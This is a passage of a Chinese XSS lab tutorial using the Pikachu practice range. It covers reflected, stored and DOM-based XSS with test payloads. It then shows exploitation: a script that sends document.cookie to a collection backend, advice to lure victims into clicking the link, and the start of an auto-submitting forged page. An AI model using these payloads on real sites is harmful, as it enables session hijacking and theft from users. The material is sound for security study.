一、概述
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
二、环境
靶场:Pikachu
浏览器:火狐
三、反射型
交互的数据一般不会被存放在数据库里,一次性,所见即所得,一般出现在查询类页面等。
1.首先输入一些特殊字符(如:’"<>&1111)进行验证是否存在XSS漏洞
2.表单框输入一段js脚本进一步验证<script>alert('xss')</script>
四、存储型
交互的数据会被存放在数据库里面,永久性存储,一般出现在留言板,注册等页面。
- 存储型XSS和反射型XSS的测试流程一样;
- 存储型XSS危害比反射型XSS要高,所有访问该网站的用户都会中招;
1.首先输入一些特殊字符(如:’"<>&1111)进行验证是否存在XSS漏洞
2.表单框输入一段js脚本进一步验证<script>alert('xss')</script>
3.刷新页面,是否还触发脚本
五、DOM型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码,输出的时候产生的问题。
1.按F12查看表单原码,从原码可以看出是一个纯dom操作
2.构造恶意js代码
原字符串:"<a href='"+xss+"'>就让往事都随风,都随风吧</a>"
拼接恶意js:<a href=' ' onclick = "alert(111)"> '>就让往事都随风,都随风吧</a>
表单框输入: ' onclick = "alert(111)">
六、XSS漏洞利用
攻击者的后台为pikachu内置的pkxss后台,用来收集用户信息。
案例一 :cookie获取(反射型XSS【get】)
1.攻击流程图
2.构造获取cookies的恶意脚本(携带cookie重定向到我们的pkxss后台)
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
3.点击提交,这时pkxss后台就会多一条数据,获取cookie成功!
4.这时把referer发送给用户,欺骗受害者点击链接,cookie就会被获取。
案例二 :cookie获取(反射型XSS【post】)
1.攻击流程图
2.攻击目标:存在xss漏洞的网站
3.伪造页面:由于post请求,js恶意脚本无法伪装在URL里,这时需要搭建一个恶意站点post.html。
<html>
<head>
<script>
//当用户点击加载页面时,自动提交到存在xss漏洞的站点
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head